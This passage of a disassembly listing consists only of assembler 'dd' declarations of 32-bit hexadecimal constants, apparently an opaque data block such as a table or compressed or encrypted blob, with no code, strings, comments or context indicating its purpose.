		dd 0EEC9C761h, 9A7C240h, 2C047E29h, 0B4790948h,	54F1F067h
		dd 771E204Dh, 61FEC57Ah, 0AD146D00h, 5F2EB872h,	30329D9Fh
		dd 0FC0064A1h, 68F4624Bh, 7E7566AFh, 531C59CBh,	333CCA6Ch
		dd 64096023h, 0A020D68Fh, 4057640Bh, 0A22BB6D5h, 72A70AC4h
		dd 35FAE59Fh, 8F12C50h,	420F3C7Ch, 413FBBD1h, 0B096CF60h
		dd 0D4BBD499h, 0E71C40FFh, 67D8AFB9h, 4FE48538h, 812704A6h
		dd 0CE54ECADh, 98995470h, 25605571h, 9B065C3Fh,	0B4C54C91h
		dd 5BE94B53h, 0A25541B4h, 83DD95E8h, 615C678h, 537561D5h
		dd 317A11ACh, 1D177AB4h, 0E8228C6Ah, 131E198Eh,	980ACA6Fh
		dd 0D9C668D2h, 22464A36h, 0E5DC0F9Ah, 8C51BE0Fh, 83045D60h
		dd 0B2611EBDh, 0FD1AC075h, 0A795D0FDh, 2600141Fh, 7FC7F971h
		dd 0EF01D06Dh, 0CDC7FDB3h, 4D50852h, 0CB33665Ch, 92B7AA7h
		dd 1A0B14A7h, 0A93C5443h, 0AEBAEE38h, 180C66F1h, 974B0C5Bh
		dd 55E8CDC6h, 66DB5A9Ah, 194DD5FAh, 0FED3162Fh,	539928E8h
		dd 698C3A06h, 0A28A5A03h, 0BA15178Fh, 1B513971h, 49D1BBA7h
		dd 22948BE6h, 7902B1D0h, 0E306C053h, 8DBE4718h,	0EFDBBBB9h
		dd 0A550F754h, 0D10FA0BFh, 30160157h, 6370A9ABh, 0A6E4D4C7h
		dd 35C89338h, 6F11065Ch, 1ED71820h, 0EE19890Bh,	780700Bh
		dd 31170D53h, 729A44DEh, 111D9C68h, 72059DF4h, 71125295h
		dd 0FA5A10FAh, 1C7C3B45h, 0E545A0CAh, 0AE4171C2h, 0CBBD939Ch
		dd 0D5017E81h, 198D615Ch
		dd 6EE276F1h, 66A984EEh, 3A1B0A54h, 9F528E97h, 0E57DB912h
		dd 4D65CC74h, 2DACFC53h, 10F7EAA6h, 98C777A0h, 86E60773h
		dd 68BBA391h, 9106EFE2h, 93A09Ch, 917D9A95h, 0DAA0E0A4h
		dd 687E12FAh, 50D9A368h, 0E0F8F56Fh, 0CCABF0ACh, 4BF6C35h
		dd 0B2FF26D2h, 0C50E3AEh, 0C1F98539h, 0A2DF0054h, 0E7673F0Bh
		dd 0D1757171h, 1011AE2Ch, 5F7CFD94h, 841BE720h,	0B44D8E96h
		dd 0DAE906FBh, 29C7601h, 0D8360A5Dh, 50E1DD62h,	77AF52D1h
		dd 4875BC4Ah, 805A7AA8h, 0A7B0A3A9h, 0E91F4726h, 0E96D2BECh
		dd 0B93CC882h, 3C2B5344h, 7BAE37F9h, 6C8796A9h,	27B131CDh
		dd 3C5DA86Eh, 8C62F598h, 78F132C1h, 9F5BAEE0h, 6BFE8A83h
		dd 6918762Ah, 0AC206DECh, 5257CC96h, 0AB54EEF9h, 0E1A5A4Bh
		dd 0F854C28Dh, 0E034FDCAh, 0FC2BF3A4h, 5F957035h, 55843D91h
		dd 21D51BD1h, 0E7312A43h, 0AB29FCC0h, 0F4C3F3F5h, 0C81C395h
		dd 0DA660311h, 0DD210677h, 32E24E8Ch, 0CEF7BCD0h, 0A2347E38h
		dd 34264662h, 28E711FBh, 2EBE04FAh, 4768292Dh, 15416860h
		dd 0DC6316A8h, 852F5DE9h, 0A500B414h, 64824467h, 8CD7F6D1h
		dd 2BE4A870h, 4849FE2h,	14CB3B8Bh, 4DFAE46Fh, 62C45631h
		dd 5A0434C0h, 0E45AF306h, 1480C62Ch, 396119A2h,	0B9A9164h
		dd 0A6EF5902h, 0D0F7BD52h, 928B8CC4h, 0F2BF7ED5h, 8998EA77h
		dd 32AE1709h, 0B4500A4h, 6AC70351h, 0A9E13070h,	7AAF266Ah
		dd 2AA1D6BBh, 199BCA62h, 8D070859h, 6FCD01BBh, 1168172Bh
		dd 5497A0C2h, 8EAAA41h,	0A1D85202h, 0A968EA57h,	0F82B1DD3h
		dd 8BBAAC02h, 0D37AB104h, 5554B45h, 304F0391h, 15C88E78h
		dd 0E704456Dh, 3FC62B83h, 9DC875D3h, 0D755A040h, 4F9AB0AFh
		dd 3486D3D4h, 4A4A3435h, 57FC3977h, 46778B68h, 7FC1300Ch
		dd 4A0E4065h, 39F5A501h, 18619C65h, 582C2D98h, 841169C6h
		dd 5406A2Eh, 2EC46BBAh,	1A05FB8Fh, 6035840Bh, 0ACDD2F93h
		dd 50C2A50h, 8A00B1A0h,	0AEE6298h, 0D4348601h, 35CA10A5h
		dd 2DD159DBh, 5F0CAA49h, 41BF0D96h, 755003C6h, 74AC9014h
		dd 24049747h, 0D988D2D1h, 4471162Bh, 0D96018Ah,	80275750h
		dd 0B4D05A65h, 0CF4D1504h, 2D133056h, 6182F54h,	6A1E0121h
		dd 30503B08h, 41C84488h, 3033A083h, 0ABD1B053h,	733498B9h
		dd 8DF54553h, 356881ADh, 3473ACCh, 0B85BC11Dh, 0F7089A31h
		dd 0BBC26C5Dh, 0C778DEDDh, 71D8BAB7h, 0D5B36069h, 17A8BBD1h
		dd 7D5DA97Ah, 5262F6A9h, 0BA30A756h, 23CA65F0h,	0DBBBC962h
		dd 0B60EB8DAh, 23D7754Dh, 0BC1864Eh, 79934298h,	0E858EAE1h
		dd 9846C5E9h, 1683FE36h, 0C73A38F2h, 4728362Ch,	766BD0B4h
		dd 4D4173Dh, 0B87E47E3h, 91C420C1h, 18F0F09Eh, 413D7A5Eh
		dd 5D3E28E6h, 383228Eh,	0C30202D3h, 44F23087h, 0B0FEAEDAh
		dd 11818Eh, 0E1508BEFh,	0B8867C5Fh, 21688C2Fh, 8D5D927Ah
		dd 0E72DD00Ch, 8C2F53AEh, 9C3265A1h, 22CC2D1Ch,	18EA8D30h
		dd 0C5AAB4DCh, 9015AA61h, 8C030601h, 0FB3F5617h, 60420F32h
		dd 5D2E0CBFh, 8A6FB16Eh, 7E072CA2h, 0C40B4025h,	57284718h
		dd 0B0881A59h, 935BAC3Fh, 0B380287Ah, 0CEABA046h, 0DE141B6Ah
		dd 44E69F9Eh, 1F855329h, 0B649BA7Ah, 8C95C0AEh,	25656315h
		dd 305D1660h, 3682F6C2h, 2B070388h, 546313EEh, 309A33D7h
		dd 2B2EABD3h, 6CD4E022h, 3BE0A36Dh, 205A7A2Ch, 0A259EEB0h
		dd 0AEBD3502h, 0CE2AB359h, 0B303A38Ch, 6E3535D6h, 75143CD7h
		dd 2659D7F3h, 605F4DDFh, 59E48DECh, 0ACF0BF84h,	73AA7E64h
		dd 0CE61B981h, 4598CFBh, 418F4B2Ch, 27860786h, 0ACBF28ABh
		dd 0F1C012A0h, 91AFA0B9h, 0F6C7E14Ah, 214D0943h, 0FD58F2E0h
		dd 9545CB2Ah, 0CB3E004Bh, 42A23288h, 33014322h,	487E0C28h
		dd 326B8124h, 3AAA17F6h, 9644ACACh, 6518002Bh, 9047CAA2h
		dd 65DBA63Ch, 49EBFEDCh, 98306672h, 18829599h, 0A0BC5AADh
		dd 959BA2B4h, 0B411145Eh, 78A1F6ACh, 4AB8B83h, 6A8BEDD8h
		dd 0E939F8BCh, 228A6CACh, 0EB2EA886h, 0BBFF99A0h, 1778441Eh
		dd 948392FFh, 1FA0C7A2h, 7046D0CCh, 807A9442h, 0B8539EE1h
		dd 82A2E12Ah, 575A26F6h, 0AADB1457h, 4499562Ah,	6EFDF904h
		dd 305DFB4Eh, 28C71532h, 0E5230AA7h, 0F5B6B7CDh, 4B5D01B6h
		dd 0AB5F18BBh, 59B724ABh, 0DE0DF865h, 0C61A5AACh, 0EEEA05EEh
		dd 0F9C51F46h, 94F7AB4Dh, 44A5501Fh, 3119945Bh,	5B3C7C14h
		dd 0B071013Eh, 0A9335346h, 4AB72D9Fh, 0C83144E2h, 0CBF01DC2h
		dd 5A2D2279h, 52FEF6A4h, 0A4154D1Fh, 5F18BE30h,	0F60061AAh
		dd 220B7E92h, 59B4E455h, 0ABE3100Eh, 0D2107D63h, 0EBD114A5h
		dd 3686C0B1h, 6224DAA1h, 26044691h, 1AEB8E30h, 786064B1h
		dd 99CDD67h, 8BE84926h,	0BBB0BA06h, 5555C7ECh, 9055D52Ch
		dd 23BF0D0Fh, 98D36A67h, 0FEC905F5h, 8DB47E46h,	1A4C8A7Dh
		dd 4B7A3671h, 0B8ED3B19h, 203BC7BDh, 2BE4E4A8h,	260DB484h
		dd 3AB8B56Ch, 1807E55Dh, 0F90846F2h, 398B3B82h,	18BA4809h
		dd 3378B76Ch, 2B3AF500h, 149E8700h, 0B3310BF0h,	2ACCC16Dh
		dd 74FA6557h, 0E8824703h, 6BC430D3h, 655C1505h,	0F70D23CFh
		dd 21F88836h, 19199283h, 0CD867DCEh, 4E2E1D21h,	16DF9749h
		dd 0D4CC7B04h, 0FA245C51h, 4416C074h, 0DD4C050h, 0FAD04424h
		dd 0D80E0C6Eh, 35A4D8B8h, 0AA8DAF24h, 8F41CA73h, 0BFE2422Fh
		dd 0AE91752Ah, 0C328E27Dh, 0C9DF3B44h, 8CF1CC65h, 6AEC320h
		dd 0BE3B35E3h, 0E43E970Ch, 3F05A8EAh, 6E0070F4h, 0CC2A158h
		dd 76AC671Bh, 0E099FE00h, 680C2184h, 809F502Ah,	7FE97D44h
		dd 0E5D4D1B0h, 0D423BE24h, 60433A3Eh, 350D7FA3h, 0DC1FD23Fh
		dd 5724A2E8h, 54DFC419h, 5190C68Ah, 0FBC97905h,	180E3ACEh
		dd 0EA4ADA59h, 6D372B2Bh, 0BBEF72FEh, 0C8C0C188h, 36153F6Ch
		dd 60395459h, 940F7A2Dh, 8FB08843h, 5B988A8Eh, 0E7802DEBh
		dd 46F20CC4h, 0A68CB3E0h, 308C2607h, 0E020B9E2h, 0CD02B2Dh
		dd 9D2EAFB9h, 2F8A4755h, 0A558660h, 0F2049DA8h,	0E05A673Ah
		dd 8EE1EB8Ah, 0E76AD404h, 32C77C2Bh, 926398BEh,	0CCC1F96Ch
		dd 472E303Eh, 931D1722h, 2FB30AB8h, 8CA3CA86h, 680BC701h
		dd 9CAB39CDh, 0C52F57C8h, 35D4B0B4h, 7485BE08h,	0A836BBAAh
		dd 7004CAD1h, 0E931D491h, 45C69829h, 9D57420h, 80A53358h
		dd 0A805D035h, 0EED1B044h, 94109518h, 2AD21288h, 498AF4E5h
		dd 12485B84h, 48F76F1h,	7011891Ah, 6A0F6097h, 0DC442240h
		dd 8E409193h, 687F4829h, 0A44C0EE3h, 0B04AF755h, 9B7C8624h
		dd 260AE4E2h, 54D4C443h, 0F1579BEBh, 0E34E541Bh, 0CBF85B80h
		dd 867755Ch, 0E670051Fh, 47323977h, 0BEE8128Bh,	39530CA4h
		dd 0AAB6AD9Dh, 381056C6h, 100C2229h, 4D73B54Ch,	388A9A5Dh
		dd 0AD8B225Ah, 15948A1Eh, 5B46A6DCh, 6E8BDB8Dh,	1E7EC1F1h
		dd 3BB7BB29h, 9DE92AEAh, 0B1F5A10Bh, 0F4427E30h, 799186B4h
		dd 51DF2EBCh, 67BD302Ch, 0F70069C2h, 115045BAh,	8C44B7B5h
		dd 88FCB933h, 3117D6A3h, 95F7F284h, 0AA353102h,	15768155h
		dd 0BDD262BFh, 2D80C58Ah, 8C44B662h, 12B0FD4Ah,	9FB3675Dh
		dd 95DB5024h, 414C8451h, 0CF742F4Fh, 0EFBF1F43h, 0BAC49EE2h
		dd 0E7C4C087h, 7C49A8C5h, 0A6606E92h, 0EB74AFE2h, 33617AE2h
		dd 846224B4h, 92B2A916h, 0E0C1C151h, 36BA8ED2h,	4343DDCEh
		dd 3F40E538h, 83432459h, 95D05938h, 9A89F285h, 73A4DF66h
		dd 6ED5E409h, 0A83AD8C7h
		dd 71113763h, 1EE2B63Fh, 19C49733h, 9CE2AA5Fh, 525C5CECh
		dd 923D9860h, 1413E296h, 9BC06836h, 7A58978Ch, 8405AF96h
		dd 42221736h, 0A3807240h, 2E8F368Ch, 0CA6D2659h, 0EC94E98Dh
		dd 0CC1D3A28h, 656D85FBh, 666B54EDh, 0CE0F768Ch, 0A9303F7Fh
		dd 42918561h, 54381EAAh, 378E180Ch, 0A6037906h,	0F3292549h
		dd 2CDAA0C3h, 0A5686B0h, 0BF2C3D8Ch, 29535D9Bh,	0B03EC4C1h
		dd 0ABDA1598h, 1AB4154h, 65B5CBC6h, 0A059460Dh,	5C518356h
		dd 0F3D58E54h, 28F13F8h, 0F8BFF5C2h, 0A4667E15h, 6C4E4A00h
		dd 8A331936h, 0A7717728h, 0F7C02801h, 371B2C6Eh, 4AAC032Dh
		dd 0C1C6E52Eh, 3D8861D5h, 0EAA76581h, 2CA7A2E6h, 771B0F2h
		dd 8539AC02h, 0D528EF05h, 25D892Ah, 0AE246275h,	85679844h
		dd 5F18D3C5h, 0C699D851h, 15DCA579h, 88E92D05h,	1AD38E46h
		dd 0BFC15998h, 0A01C5901h, 89D91706h, 1A072055h, 0C6BEFBF4h
		dd 0ED32C02Fh, 0D7167EAAh, 0E3818F1Fh, 0EB5F9323h, 2E0EE5F7h
		dd 0D9388184h, 782A4AA2h, 1F7FF51Ch, 138D8B7Dh,	0DD23B084h
		dd 746AD28Ch, 387FE156h, 0A5B83550h, 8CCA1280h,	4C6003E6h
		dd 1FCB40BAh, 841A7309h, 798A1370h, 0F3D6E0CFh,	92455145h
		dd 0E755A34Fh, 6DC9CAF1h, 0AA9C8F7Fh, 0CA3F183Bh, 0A106643h
		dd 0BA641A08h, 0DA26C4D0h, 4D026134h, 34C64913h, 11CB64C1h
		dd 1069264Fh, 0B12AADF0h, 5C4A08F5h, 532DA23Dh,	0F317C08Fh
		dd 49A6510Ah, 0D2A69DCh, 0EB54E2D8h, 8F8E08A1h,	0DF6D3DE8h
		dd 0F7013AB9h, 0ABD94C82h, 110A63D8h, 23F714C2h, 0C8DF52E0h
		dd 0F3BC6DDCh, 0B79AAE04h, 9E5CCBC8h, 0D5E986EEh, 385B0DB9h
		dd 0E6936531h, 672642F2h, 0AADD556Bh, 0BAB788A3h, 456B4985h
		dd 8C0D9997h, 0C12F11C6h, 0B346EB04h, 0E3AA6EA6h, 6556848h
		dd 0BD1D28AAh, 0B43AD3FAh, 0D356B90Ch, 688ABD01h, 6E61A7F2h
		dd 7AEA3A8Ch, 5A9F6E01h, 28061B90h, 4387F35h, 717D2C09h
		dd 0E591D201h, 750EAB02h, 0BFFA884Ch, 54427A6Fh, 0A605415Dh
		dd 1A1C9C88h, 0B6C7DD2h, 6AEA9586h, 0B2F75FAFh,	44A2A204h
		dd 0B2A1FDCCh, 210AF7FCh, 0A594EF5Ah, 0A79031A3h, 0B02C809Bh
		dd 3ACCAE25h, 0B0A63ADAh, 0E475B6A6h, 0AA90D592h, 0D44B7846h
		dd 5CC36459h, 6183CA82h, 741F125Ch, 2EFD0EABh, 0ED84354Ch
		dd 59BE5E1Bh, 56AA1D79h, 8ACC1A52h, 330605A0h, 14E7D9A4h
		dd 23E6C5F6h, 9C26C523h, 2EA550BDh, 0C6413789h,	84E0633Bh
		dd 9B9833ABh, 67CD4255h, 0F0F80EBAh, 0DBD7EB66h, 0A09F6255h
		dd 0EAD90B51h, 0DC44FEB2h, 7DA59C0Fh, 75748EDFh, 0A18DE1F9h
		dd 68CC5917h, 16D2983Dh, 0DEE13109h, 0FAE00ABh,	0B7B15501h
		dd 50F2D0Fh, 0F4650FBEh, 3091C195h, 2174915Dh, 0C60A8D42h
		dd 32B482ACh, 906C863Ah, 0D5150B0Ah, 3161D2D6h,	0E7A5552Eh
		dd 5CBA7545h, 665294B0h, 71382EA3h, 1AC30757h, 2362710Ch
		dd 864779D7h, 0D1FBEh, 181FC043h, 0A28AC7B9h, 3DDC8FB5h
		dd 1497A356h, 0BE7C83AFh, 662F1D2h, 92935310h, 0CB428EC0h
		dd 2851BFC5h, 4781A642h, 5C5A12CBh, 7CAB75ACh, 0F0298717h
		dd 0A92281ECh, 0F782C7D6h, 0E5E8BF4h, 0D75A38FCh, 617828BEh
		dd 0FBC88B7Ch, 4C42F60Eh, 72EA5EF8h, 0BBDD5EB9h, 0CA817D62h
		dd 0E68584C1h, 20AE9D74h, 9EAB117Bh, 778C4AD0h,	0EE9C651h
		dd 780A824Ch, 0E2D1CC09h, 3D731158h, 0D20A4B69h, 0A4DC9DC6h
		dd 0DB682733h, 0C4911C0Bh, 255D60A5h, 0E76EEE38h, 0C4C14A3Bh
		dd 0A215B337h, 301253F6h, 7D89E7DEh, 109A18CBh,	8D137F6Fh
		dd 0A1643425h, 7DB6A5C5h, 0EFCF29D4h, 8C0C0BB0h, 41E75A2Ch
		dd 9A667691h, 54382C71h, 0DC1F5FC6h, 863E52FBh,	21384647h
		dd 0E446916Eh, 9CE441D7h, 94F413h, 0A9763911h, 17AEF02Ah
		dd 0CA5F9EC8h, 1CDF085Eh, 5B63FB50h, 5D60C2FAh,	0F623B84Fh
		dd 0F3B4D4FBh, 26275C0Fh, 89A2E6B1h, 0FE81276Bh, 3AEC0310h
		dd 0C147A15Dh, 0D883D176h, 0CA821818h, 0C570B3ACh, 0BE1D555Eh
		dd 0BB8D25Bh, 0E9D8F8EDh, 2EC208Fh, 7F4E18ACh, 0E47739C6h
		dd 4964AE1Bh, 0C20772ABh, 0DF4B05A6h, 0DB27D1C0h, 0CFC9461Dh
		dd 72E63B4Bh, 5ED5F8BBh, 362C5DBFh, 7195D9C2h, 559689B4h
		dd 36B1041Ah, 8ED20E2h,	0BCEA86D2h, 76981C4Fh, 0A9E05085h
		dd 840F0F65h, 0B54E928Fh, 718C0126h, 8108127h, 7272488Bh
		dd 0B0ED24B0h, 0C9EC0DFh, 1D654BE3h, 5953B751h,	9C5D42E4h
		dd 0DA38D99Ah, 0A9726178h, 970169CBh, 0DB1B5109h, 2C34D1BEh
		dd 381185ECh, 242F557Eh, 1774C904h, 0F07F3503h,	8B3EA50h
		dd 0A030B694h, 7A220448h, 6E8B30F4h, 0D8A27EBDh, 8083166Bh
		dd 46828D41h, 3AB7E089h, 0D8E9329Ch, 536A8ECEh,	12699C54h
		dd 0B60A67F9h, 6F10247h, 5051BF0Fh, 56BD1962h, 0C56ECE45h
		dd 3238CC2Eh, 90978AA8h, 904603Ah, 0F622275Bh, 8CB68500h
		dd 3BB0708Dh, 30672477h, 97B7757Ah, 66D813h, 351B44CCh
		dd 0A4558020h, 68C8472Ah, 9A004442h, 0B80D632h,	0D2546513h
		dd 2A00699Ch, 74AE5B47h, 0FB5579A8h, 22A82962h,	9574EDA5h
		dd 6616B833h, 6A30B291h, 0CA9F2F41h, 33741D19h,	82B4AEEDh
		dd 2E90F6CCh, 27BB7EF3h, 9ABB2051h, 0E525051Bh,	19C3A85Dh
		dd 0C835236Ch, 0A3CD52CCh, 47610316h, 0DB4DC2C3h, 0FF450149h
		dd 0E6ACA6B7h, 0C631CE30h, 1D312D99h, 0C5153009h, 819D6240h
		dd 40533D59h, 50665119h, 0D2907C33h, 0A463077h,	3606487Eh
		dd 7281DF1Ch, 4B17CB53h, 2AE81913h, 0B4468DD8h,	0A7C3D4E9h
		dd 0B7947467h, 0AD7D8675h, 76509224h, 801210F7h, 341E25AEh
		dd 0B1692889h, 0EEE613EFh, 34B473E9h, 31BE3228h, 39DD519Ch
		dd 28DB7280h, 6CA46058h, 9C940A13h, 2178F533h, 0BC7B0FEAh
		dd 0CF391A3Dh, 57B5A499h, 3BED003Bh, 0F63742EBh, 3D72334h
		dd 16EF7B8Ch, 0E4265934h, 0E130D9F0h, 0AE056B01h, 891531ABh
		dd 6270C630h, 63284CDDh, 0BCF51605h, 7ACEA3CAh,	25C7A631h
		dd 0ED18C9F8h, 0D1E9F20h, 0DE58F827h, 1D6AA3ABh, 11505F1Ah
		dd 32301216h, 0D8482002h, 0FAE0CA0Ah, 0B32E880Ch, 0DE61AC41h
		dd 98893631h, 60FE1832h, 3A8C603Bh, 41AA619Dh, 1B35F20h
		dd 2F0D5E0Ah, 0D307E646h, 0B90AFE02h, 654685A3h, 96A85BB8h
		dd 0C023872Fh, 7A753EFFh, 0ACCCDB50h, 0BC7AD23Eh, 22FA4020h
		dd 3AED1902h, 477EE147h, 48C7D269h, 378B6986h, 126B5F89h
		dd 0C7488205h, 9C1C8C69h, 65646B15h, 0CC19BD48h, 0F85D5168h
		dd 3068293Bh, 1912B773h, 4CC6A2E2h, 0C2BA5151h,	5B05445Eh
		dd 4D1CD8D9h, 229B7882h, 1C1C8CDEh, 0B4C6F28Dh,	0B61005FFh
		dd 84B2B52Eh, 33079F46h, 0F9416B68h, 80C656C5h,	68F6BD39h
		dd 0B1CFBAC7h, 0D4AEDF74h, 0D9756EEDh, 61015655h, 66708087h
		dd 0D257AEB4h, 6B410ABBh, 0B9595B13h, 44B2F6FEh, 0DC352140h
		dd 7E86BAE8h, 0D14EB11Eh, 12504907h, 34A2E402h,	32C94842h
		dd 0CF5C2093h, 4480A7C5h, 4B00766Bh, 0BB06104Bh, 2A0455FFh
		dd 558C9AFAh, 0CD4631Dh, 6A285278h, 540184B4h, 89743034h
		dd 22D846B0h, 0A22644E6h, 0D222444Ch, 3708D116h, 13A86D11h
		dd 45BCB711h, 444D89BCh, 484889Fh, 2C97422Dh, 9222A514h
		dd 35881116h, 12B04D11h, 4589B511h, 113689D0h, 26992260h
		dd 0C758088Bh, 1F20D69Ch, 0F84BC34Dh, 40220561h, 0CED4B36Fh
		dd 46AF7300h, 11AA8DB4h, 0C46A236Eh, 0A11A48DBh, 0C4463236h
		dd 6B11748Dh, 0DD049723h
		dd 36C1A448h, 93EF68B2h, 8081A14h, 66662064h, 3AE95514h
		dd 0F578AEB2h, 6B0E6771h, 0F3FFF09Dh, 0E301553Eh, 683231C6h
		dd 1593EEA3h, 0D58C624h, 122F4BA4h, 8EB6EAD8h, 143C87D5h
		dd 495F567Eh, 0C6271EB0h, 0FFA10607h, 0D021F7C0h, 29D080F2h
		dd 9DAA04B4h, 8D385ADAh, 0DE341ECFh, 6346943Bh,	517FC722h
		dd 90204261h, 58EE24B0h, 0ECF46E12h, 99B49F4Eh,	0E8B1A1DBh
		dd 4A831E11h, 0C60222D1h, 5A093E9h, 328508DCh, 9325E49Ch
		dd 9EFC8D9Dh, 0F48699A6h, 3C905D4h, 5E62D502h, 487B82C7h
		dd 0CC432B92h, 8AC80728h, 84D0302Ah, 446B6194h,	17749515h
		dd 1CEF54E8h, 0A5C4B6DAh, 73393BCh, 0A0B9812Ch,	0BB988A9Dh
		dd 322953Ah, 9BE9326h, 5EA208C2h, 0A3862EF9h, 90EF8D8h
		dd 0B6AD73CCh, 78506340h, 31BBE18Fh, 7DA35E46h,	0B3D3C2ACh
		dd 28E0BDE9h, 8462A228h, 77CCC0Ah, 977F067Fh, 0F380019Bh
		dd 0E599D62Eh, 50C51175h, 0BB1D07F3h, 564B3E8Eh, 70B484B3h
		dd 3A116FAh, 5F783272h,	968D41FEh, 42AD2FAAh, 4966E425h
		dd 5227E5D8h, 65DC3111h, 7A851967h, 9CDDD1EEh, 0EB860CADh
		dd 0E48F1CDCh, 5F7B13DBh, 709E258Dh, 908FCA01h,	1279115Bh
		dd 6446B02Ch, 9D953B47h, 943081A9h, 24DC0049h, 0A0460931h
		dd 0D58C1726h, 2F970F58h, 6D50F5ABh, 40A958C4h,	0D6A26425h
		dd 0CADC8C25h, 0F0CA32C6h, 8759C8F6h, 0D1C4C773h, 0AAA1652h
		dd 271184ABh, 18CA9147h, 963ED73h, 0EC62FAE9h, 0C8AF1B26h
		dd 0B4E20A5Eh, 0D817D8DCh, 5B462EE2h, 0C9836780h, 2071C622h
		dd 58C21069h, 0A208281Ah, 12FC9AD7h, 0D8E4CC9Eh, 1F974FADh
		dd 0C093BE8Eh, 4F1B44D4h, 0A2E2DA3Fh, 0DFD32C71h, 570CBE95h
		dd 31F0958Bh, 389CA75Ah, 541063h, 0D86565DAh, 5D7424BCh
		dd 2C213033h, 0B45A794Ah, 0C0BD4C7Ch, 0B502E421h, 2A008800h
		dd 1B3572F0h, 0C26042ACh, 7E974DF4h, 59F248A7h,	41D0BC0Eh
		dd 0E61168BDh, 0FCA61479h, 6B4FC5ECh, 26673EC4h, 0EB37158Bh
		dd 0A5331C3Bh, 6076565Ch, 0EBE40B5Ch, 96FDB624h, 0D042E2F3h
		dd 831938F7h, 67D54BFCh, 0C7156CA6h, 2A6EC7EAh,	2F0B1F5h
		dd 0C3EBDD2Ah, 0B0E3993Eh, 662957AEh, 63B9CC4Bh, 8B3D7511h
		dd 0EB3F235Bh, 0CFB3CF92h, 3B9B9CBEh, 4AA6F63Dh, 18A5DEE2h
		dd 0E6E42978h, 78C73C8Fh, 0A0CC8F8Bh, 17DCCE5Ah, 2E167D65h
		dd 32FEC7BFh, 0C6EBF5D2h, 0AC84710Ch, 451A9173h, 7125F95Eh
		dd 0C1455422h, 118A0B13h, 74E85621h, 2E503E37h,	0D35EB05Eh
		dd 8CCCF76Ch, 7F23E5D3h, 153F19DCh, 73D72A98h, 1AA7F5B7h
		dd 44D3B659h, 737288D4h, 6A3E80FEh, 0B209C8AAh,	29A4B414h
		dd 27C5CB17h, 0BEE5A9BBh, 0A8251720h, 86522496h, 14DA261h
		dd 0A82F003Bh, 2C118544h, 21E5E589h, 1D885204h,	0BA1E360Bh
		dd 0F961180Ch, 0FC8F0608h, 0F86715C5h, 6454D37Eh, 0E6E8A03Eh
		dd 32661F25h, 6941C7BBh, 26404165h, 42EB03FAh, 0F1DB48BFh
		dd 211701B3h, 92ACE349h, 64205F06h, 0EB4CB1D8h,	9A6E2A72h
		dd 7D16F938h, 44BE2301h, 0D520BACh, 0DC68F21Ah,	7D730BA4h
		dd 0FB084D52h, 9A01087Eh, 5ABB096Ah, 0E62CF819h, 64059B8Bh
		dd 92824109h, 0A89C987h, 182B18Ch, 9B9D4AAEh, 0D9BF24A2h
		dd 7972F22Eh, 66CB5CCDh, 0DA821883h, 2A7D188Fh,	0C24CC6FFh
		dd 5C1A3CBBh, 4638BBD1h, 72591F0Ch, 0F1152CB0h,	1BFFA328h
		dd 0AA985EA8h, 57510503h, 9181D091h, 0D10882E5h, 411C8112h
		dd 0CC7D1496h, 4A61228Ah, 5660A381h, 8BDA1562h,	594F905Ah
		dd 0ECC1EB12h, 422E5165h, 9617DF4Ah, 25B958A5h,	8B2C3810h
		dd 2E6EADB8h, 422E5CB2h, 0CB232396h, 0DB46C5CBh, 836F7460h
		dd 746B78D7h, 48231F02h, 0BA77C406h, 57173DE8h,	0B60640B4h
		dd 2371048Bh, 2B03285h,	1F857E19h, 4213287Eh, 1F950663h
		dd 43E04232h, 0CAA2D177h, 0FB5F523Bh, 1F7D8C54h, 8BBEA410h
		dd 0AECC8DD6h, 7AC93443h, 312D6E3Bh, 5B045352h,	0F7509F3Dh
		dd 1F0EC9FEh, 0A89057C6h, 31ABFFCEh, 11B825D0h,	47D15015h
		dd 925FBC19h, 0A9AE054Ch, 2F098456h, 4E00B143h,	9AFB144h
		dd 3B0954CEh, 70B709CAh, 2DAAD29Bh, 75BD3809h, 1ECE918Dh
		dd 82A40453h, 28E232E9h, 1E941568h, 43C8108h, 659D4A16h
		dd 158F74A0h, 0FAC5475Dh, 2900F9F6h, 0B4E70E6h,	3BD05189h
		dd 0EA257240h, 1576066h, 1B7BB888h, 0F715918h, 4D020902h
		dd 86232808h, 0DBE86F81h, 8E9BC409h, 78F667C1h,	78EB78AFh
		dd 90309401h, 4818F144h, 8CD11DFh, 6D501B3Fh, 0E7F08085h
		dd 15062295h, 8845FB2Dh, 8962301Bh, 0A65F4B0Dh,	0D4A4768Eh
		dd 0A20A3EB6h, 4192916Bh, 196159A5h, 5DB8260Bh,	0C495E4E5h
		dd 7437D955h, 0B81534h,	0D4EABA34h, 0EBABBE10h,	4A651251h
		dd 621224EDh, 9E96025h,	2832F99Fh, 651113ACh, 2D83EA7Fh
		dd 0AC577609h, 0D4311F99h, 44AE9344h, 7945BBDBh, 0F66CB175h
		dd 17DEC5F0h, 0E5A3E2E9h, 2062B8FCh, 73087AEBh,	2264BE07h
		dd 0DFD8DC7Ch, 0BCCC0828h, 4B042461h, 0EFF9EFBFh, 57C5573Bh
		dd 173EA162h, 0E4280D18h, 2086E597h, 8AC2E0F8h,	68B3710h
		dd 4BF2B654h, 9C12AC68h, 2656634h, 0FDE60B6Dh, 0FA0CAB3Eh
		dd 2525A2B8h, 0FE648911h, 3AE03A8Fh, 126540C8h,	5D8C92CAh
		dd 0B160F27Ch, 1101E2CCh, 0CF268570h, 0E55C35C6h, 4A4C1BEFh
		dd 0FA40814h, 31001F02h, 8ECC1525h, 691D6123h, 0FB29ACC8h
		dd 0C6CA30C8h, 0C5E98C0Ch, 0B8211DF8h, 0D2382581h, 2450E4B0h
		dd 38030CF0h, 4AEED239h, 0A8EAC86Ah, 0CAFE6612h, 148165D6h
		dd 89210DBDh, 2912701h,	0D1DD415Eh, 9BB4F3B5h, 52884563h
		dd 1A41C8Eh, 8ABAD13Ah,	87DDC0F2h, 50FDCD7Ch, 7C560446h
		dd 586053D7h, 7E0BA818h, 0DB58491Eh, 0AA8854F5h, 0F83C7EF5h
		dd 4903BB4Ah, 0F206310h, 9F5EC90Ch, 0AE6344B1h,	61C9E30Ah
		dd 524B72EFh, 0D8CA5652h, 0F57DC7DDh, 80E14891h, 3CB42261h
		dd 0D8D0C1F0h, 83F6588Ah, 0CC78BE65h, 0B337383Eh, 4972EDD0h
		dd 2488B90Ch, 598B0D94h, 15440DD6h, 4C0086F3h, 0CDC1686h
		dd 6369248h, 68C1036Ch,	619A3688h, 0D71AE842h, 37584433h
